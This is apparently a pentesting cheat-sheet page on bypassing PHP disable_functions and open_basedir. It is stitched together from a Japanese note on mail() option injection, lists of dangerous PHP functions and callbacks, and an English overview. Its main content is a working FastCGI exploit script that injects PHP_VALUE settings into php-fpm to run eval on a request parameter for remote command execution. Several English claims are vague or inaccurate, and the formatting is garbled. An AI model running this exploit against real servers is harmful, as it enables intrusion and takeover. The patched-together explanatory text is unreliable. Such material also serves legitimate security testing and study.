mail / mb_send_mail - この関数はメールを送信するために使用されますが、$options パラメータ内に任意のコマンドを挿入するために悪用されることがあります。これは、php mail 関数が通常システム内の sendmail バイナリを呼び出し、追加オプションを指定できるためです。ただし、実行されたコマンドの出力を見ることはできませんので、出力をファイルに書き込むシェルスクリプトを作成し、それを使用してメールを実行し、出力を表示することが推奨されます。
${<php code>} // If your input gets reflected in any PHP string, it will be executed.eval()assert()// identical to eval()preg_replace('/.*/e',...)// e does an eval() on the matchcreate_function()// Create a function and use eval()include()include_once()require()require_once()$_GET['func_name']($_GET['argument']);$func =newReflectionFunction($_GET['func_name']);$func->invoke();// or$func->invokeArgs(array());// or serialize/unserialize function
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content```php* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything$php_value ="allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
In this article, we will discuss some PHP functions that can be used to bypass the disable_functions and open_basedir restrictions in PHP environments.
disable_functions Bypass
When the disable_functions directive is set in the PHP configuration, certain functions are disabled for security reasons. However, there are ways to bypass this restriction using functions that are not included in the disable_functions list.
One common technique is to use the shell_exec function to execute shell commands, as it is not always restricted by disable_functions. By leveraging this function, an attacker can execute arbitrary commands on the server.
open_basedir Bypass
The open_basedir directive restricts the files that PHP can access to the specified directory tree. However, there are methods to bypass this restriction as well.
One way to bypass open_basedir is by using the curl_exec function to make HTTP requests to external servers. Since curl_exec is not affected by open_basedir, an attacker can use this function to exfiltrate sensitive data or execute malicious code.
Conclusion
It is important for developers and system administrators to be aware of these bypass techniques in order to secure PHP applications effectively. By understanding how these functions can be abused, appropriate measures can be taken to mitigate the risks associated with disable_functions and open_basedir restrictions.
// Function => Position of callback arguments'ob_start'=>0,'array_diff_uassoc'=>-1,'array_diff_ukey'=>-1,'array_filter'=>1,'array_intersect_uassoc'=>-1,'array_intersect_ukey'=>-1,'array_map'=>0,'array_reduce'=>1,'array_udiff_assoc'=>-1,'array_udiff_uassoc'=>array(-1,-2),'array_udiff'=>-1,'array_uintersect_assoc'=>-1,'array_uintersect_uassoc'=>array(-1,-2),'array_uintersect'=>-1,'array_walk_recursive'=>1,'array_walk'=>1,'assert_options'=>1,'uasort'=>1,'uksort'=>1,'usort'=>1,'preg_replace_callback'=>1,'spl_autoload_register'=>0,'iterator_apply'=>1,'call_user_func'=>0,'call_user_func_array'=>0,'register_shutdown_function'=>0,'register_tick_function'=>0,'set_error_handler'=>0,'set_exception_handler'=>0,'session_set_save_handler'=>array(0,1,2,3,4,5),'sqlite_create_aggregate'=>array(2,3),'sqlite_create_function'=>2,
extract // Opens the door for register_globals attacks (see study in scarlet).parse_str // works like extract if only one argument is given.putenvini_setmail // has CRLF injection in the 3rd parameter, opens the door for spam.header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_niceproc_terminateproc_closepfsockopenfsockopenapache_child_terminateposix_killposix_mkfifoposix_setpgidposix_setsidposix_setuid
chgrpchmodchowncopyfile_put_contentslchgrplchownlinkmkdirmove_uploaded_filerenamermdirsymlinktempnamtouchunlinkimagepng // 2nd parameter is a path.imagewbmp // 2nd parameter is a path.image2wbmp // 2nd parameter is a path.imagejpeg // 2nd parameter is a path.imagexbm // 2nd parameter is a path.imagegif // 2nd parameter is a path.imagegd // 2nd parameter is a path.imagegd2 // 2nd parameter is a path.iptcembedftp_getftp_nb_getscandir